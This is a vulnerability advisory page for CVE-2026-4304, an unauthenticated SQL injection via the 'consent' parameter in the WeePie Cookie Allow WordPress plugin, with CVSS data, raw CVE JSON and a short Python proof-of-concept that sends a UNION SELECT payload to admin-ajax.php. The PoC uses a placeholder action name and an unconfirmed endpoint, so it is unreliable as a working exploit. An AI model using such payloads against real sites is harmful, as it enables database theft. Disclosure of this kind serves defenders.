Security Vulnerability Report
中文
CVE-2026-4304 CVSS 7.5 HIGH

CVE-2026-4304

Published: 2026-05-05 14:16:09
Last Modified: 2026-05-05 19:08:20

Description

The WeePie Cookie Allow plugin for WordPress is vulnerable to SQL Injection via the 'consent' parameter in all versions up to, and including, 3.4.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

WordPress WeePie Cookie Allow Plugin <= 3.4.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_sqli(target_url): # Vulnerable parameter identified in the advisory payload = "1' UNION SELECT null, user(), version(), null-- -" # Example endpoint, usually admin-ajax.php or a specific plugin endpoint # The exact endpoint needs to be confirmed via source code review or proxy interception endpoint = target_url + "/wp-admin/admin-ajax.php" data = { "action": "vulnerable_action", "consent": payload } try: response = requests.post(endpoint, data=data) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text[:500]) # Print partial response to check for data leakage except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://example.com" exploit_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4304", "sourceIdentifier": "[email protected]", "published": "2026-05-05T14:16:09.170", "lastModified": "2026-05-05T19:08:20.090", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WeePie Cookie Allow plugin for WordPress is vulnerable to SQL Injection via the 'consent' parameter in all versions up to, and including, 3.4.11 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://codecanyon.net/item/weepie-cookie-allow-easy-complete-cookie-consent-plugin/10342528", "source": "[email protected]"}, {"url": "https://weepie-plugins.com/changelog-weepie-cookie-allow-plugin/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f783e626-37c0-4ad9-9074-c5332583a0cb?source=cve", "source": "[email protected]"}]}}